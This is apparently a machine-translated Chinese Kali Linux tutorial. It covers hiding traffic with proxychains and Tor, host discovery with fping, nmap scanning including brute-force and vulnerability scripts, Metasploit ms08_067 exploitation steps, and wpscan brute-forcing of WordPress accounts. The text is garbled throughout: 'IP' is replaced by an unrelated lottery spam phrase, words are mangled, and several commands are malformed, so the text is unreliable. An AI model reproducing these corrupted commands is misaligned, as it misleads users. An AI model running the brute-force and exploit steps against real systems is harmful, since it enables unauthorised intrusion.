Kali 的Linux 是基于Debian的Linux发行版,旨在进行高级渗透测试和安全审核。 Kali包含数百种工具,可用于各种信息安全任务,例如渗透测试,安全研究,计算机取证和逆向工程。

Download Kali: //www.kali.org/downloads/

基本配置视频:

1.使用代理链和Tor访问Internet

1.1配置代理链

[电子邮件 protected]:~# vi /etc/proxychains.conf

您可以选择dynamic_chain,stric_chain或random_chaim。 Dynamic_chain将是首选。

# proxychains.conf VER 3.1
#
# HTTP, SOCKS4, SOCKS5 tunneling proxifier with DNS.
#
# The option below identifies how the ProxyList is treated.
#  上 ly  上 e option should be uncommented at time,
# otherwise the last appearing option will be accepted
#
dynamic_chain
#
# Dynamic - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# at least  上 e proxy must be  上 line to play in chain
# (dead proxies are skipped)
# otherwise EINTR is returned to the app
#
#strict_chain
#
# Strict - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# all proxies must be  上 line to play in chain
# otherwise EINTR is returned to the app
#
#random_chain
#
# Random - Each connection will be done via random proxy
# (or proxy chain, see chain_len) from the list.
# this option is good to test your IDS :)

您还可以在proxychains.conf文件的末尾附加一些已知的代理服务器列表。

# ProxyList format 
#       type  host  port [user pass] 
#       (values separated by 'tab' or 'blank') 
# 
# 
#        Examples: 
# 
#               socks5  192.168.67.78   1080    lamer   secret 
#               http    192.168.89.3    8080    justu   hidden 
#               socks4  192.168.1.49    1080 
#               http    192.168.39.93   8080 
# 
# 
#       proxy types: http, socks4, socks5 
#        ( auth types supported: "basic"-http  "user/pass"-socks ) 
# 
[ProxyList] 
# add proxy here ... 
# meanwile 
# defaults set to "tor" 
socks4  127.0.0.1 9050 
socks5  98.26.2.3 1893 
socks5 76.22.86.10 1658 

1.2安装Tor
您将需要在/etc/apt/sorces.list文件中添加正确的版本源。否则您的安装将失败。

echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" > /etc/apt/sources.list && apt-get update && apt-get install tor -y && apt autoremove -y

1.3使用代理链访问Internet

您可以使用代理链运行nmap扫描,这将通过在终端中键入以下命令来强制扫描通过列表中的代理之一:

代理链nmap scanme.nmap.org

您也可以使用Firefox测试代理链:

代理链firefox www.duckduckgo.com

proxychains curl icanhazip.com

YouTube视频:

使用代理链启动msfconsole:

[电子邮件 protected]:~# proxychains msfconsole 
ProxyChains-3.1 (http://proxychains.sf.net) 
|DNS-request| 0.0.0.0  
|S-chain|-<>-127.0.0.1:9050-<--timeout 
|DNS-response|: 0.0.0.0 is not exist 
     ,           , 
     /             \ 
   ((__---,,,---__)) 
     (_) O O (_)_________ 
          \ _ /             |\ 
          o_o \   M S F   | \ 
                \   _____  |  * 
                 |||    WW ||| 
                 |||        ||| 

Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro 
-- type 'go_pro' to launch it now. 

       =[ metasploit v4.7.0-2013082802 [core:4.7 api:1.0] 
+ -- --=[ 1161  利用 s - 641 auxiliary - 180 post 
+ -- --=[ 310 payloads - 30 encoders - 8 nops 

msf >

2.发现中国体育彩票开奖网络中的活动机器


[电子邮件 protected]:~# fping -g -r 0 -s 192.168.2.0/24 | grep alive
192.168.2.1 is alive
192.168.2.2 is alive
192.168.2.4 is alive
192.168.2.31 is alive
192.168.2.50 is alive
192.168.2.200 is alive

     254 targets
       6 alive
     248 unreachable
       0 unknown addresses

     248 timeouts (waiting for response)
     254 ICMP Echos sent
       6 ICMP Echo Replies received
       0 other ICMP received

 4.49 ms (min round trip time)
 4.92 ms (avg round trip time)
 5.14 ms (max round trip time)
        3.288 sec (elapsed real time)

3.使用Nmap扫描中国体育彩票开奖
3.1扫描特定中国体育彩票开奖地址
Nmap 192.168.0.100
3.2扫描多个中国体育彩票开奖地址
Nmap 192.168.0.100 192.168.0.105
3.3扫描一个范围内的中国体育彩票开奖地址
Nmap 192.168.0.100-110
3.4扫描中国体育彩票开奖地址所在的某个网段
Nmap 192.168.0.0/24
3.5扫描主机列表targets.txt中的所有中国体育彩票开奖地址
nmap -iL d:\ targets.txt
3.6扫描除某人一个中国体育彩票开奖地址之外的所有中国体育彩票开奖地址
Nmap 192.168.0.0/24-不包括192.168.109.105
3.7扫描除特定文件中的中国体育彩票开奖地址之外的中国体育彩票开奖地址
Nmap 192.168.0.0/24 -excludefile d:\ targets.txt
3.8扫描特定中国体育彩票开奖地址的21、22、23、80端口
Nmap 192.168.0.100 -p 21,22,23,80
3.9对中国体育彩票开奖地址进行路由跟踪
nmap –traceroute 192.168.0.105
3.10扫描中国体育彩票开奖地址所在C段的在线情况
nmap -sP 192.168.0.0/24
3.11中国体育彩票开奖地址的操作系统指纹识别
nmap -O 192.168.0.105
3.12中国体育彩票开奖地址提供的服务版本检测
nmap -sV 192.168.0.105
3.13探测防火墙状态
在实战中,可以利用FIN扫描的方式探测防火墙的状态。FIN扫描用于识别端口是否关闭,收到RST回复说明该端口关闭,否则就是打开或过滤状态。
nmap -sF -T4 192.168.0.105
3.14鉴权扫描:使用–script = auth可以对中国体育彩票开奖主机或中国体育彩票开奖主机所在的网段进行应用弱密码检测
nmap –script = auth 192.168.0.105
3.15暴力破解攻击:nmap具有暴力破解的功能,可对数据库,SMB,SNMP等进行简单密码的暴力猜解
nmap –script =粗制192.168.0.105
3.16扫描常见的漏洞:nmap具有突破扫描的功能,可以检查中国体育彩票开奖主机或网段是否存在常见的漏洞
nmap –script = vuln 192.168.0.105
3.17应用服务扫描:nmap有很多常见应用服务的扫描脚本,例如VNC服务,MySQL服务,Telnet服务,Rsync服务等,以VNC服务为例
nmap –script = realvnc-auth-bypass 192.168.0.105
3.18探测透析内更多服务开启的情况:
nmap -n -p 445 –脚本=广播192.168.0.105
3.19 whois解析:利用第三方的数据库或资源查询中国体育彩票开奖地址的信息,例如进行whois解析
nmap -script外部baidu.com



[电子邮件 protected]:~# nmap -T4 -O 192.168.2.31 192.168.2.200

Starting Nmap 7.60 ( //nmap.org ) at 2019-01-19 21:35 EST
Nmap scan report for 192.168.2.31
Host is up (0.31s latency).
Not shown: 990 closed ports
PORT      STATE    SERVICE
135/tcp   open     msrpc
139/tcp   open     netbios-ssn
445/tcp   open     microsoft-ds
514/tcp   filtered shell
3389/tcp  open     ms-wbt-server
5357/tcp  open     wsdapi
7070/tcp  open     realserver
49152/tcp open     unknown
49153/tcp open     unknown
49154/tcp open     unknown
Device type: general purpose
Running: Microsoft  视窗  XP|7|2012
OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012
OS details: Microsoft  视窗  XP SP3, Microsoft  视窗  XP SP3 or  视窗  7 or  视窗  Server 2012

Nmap scan report for 192.168.2.200
Host is up (0.12s latency).
Not shown: 995 closed ports
PORT    STATE    SERVICE
80/tcp  open     http
139/tcp open     netbios-ssn
443/tcp open     https
445/tcp open     microsoft-ds
514/tcp filtered shell
Aggressive OS guesses: Actiontec MI424WR-GEN3I WAP (99%), DD-WRT v24-sp2 (Linux 2.4.37) (98%),  的Linux  3.2 (97%),  的Linux  4.4 (97%), Microsoft  视窗  XP SP3 or  视窗  7 or  视窗  Server 2012 (96%), Microsoft  视窗  XP SP3 (96%), BlueArc Titan 2100 NAS device (91%)
No exact OS matches for host (test conditions non-ideal).

OS detection performed. Please report any incorrect results at //nmap.org/submit/ .
Nmap done: 2 IP addresses (2 hosts up) scanned in 136.89 seconds
[电子邮件 protected]:~# 


4. MSF – Metaspoit 
4.1基本用法和步骤

  • 搜索smb
  • 使用exploit / windows / smb / ms08_067_netapi
  • 显示选项
  • 设置RHOST 192.168.230.145
  • 设定中国体育彩票开奖41
  •  exploit

4.2 YouTube – VSFTPD上的Kali Metasploit漏洞利用FTP服务:

4.3 YouTube – Kali Metasploit漏洞利用Samba服务:

4.4。 wpscan攻击WordPress

使用wpscan启动一个简单的攻击WordPress网站

[电子邮件 protected]:〜#wpscan -u 10.94.200.81

列出WordPress用户

[电子邮件 protected]:〜#wpscan -u 10.94.200.81 -e u vp

使用单词表暴力破解WordPress帐户

[电子邮件 protected]:〜#wpscan -u 10.94.200.81 -e u –wordlist /usr/share/wordlists/metasploit/common-roots.txt

YouTube视频:

4.5。利用Windows 7或Windows 2008 Server
YouTube视频:使用EternalBlue漏洞利用Windows 2008 Server

参考文献:
1. 托安装

发表评论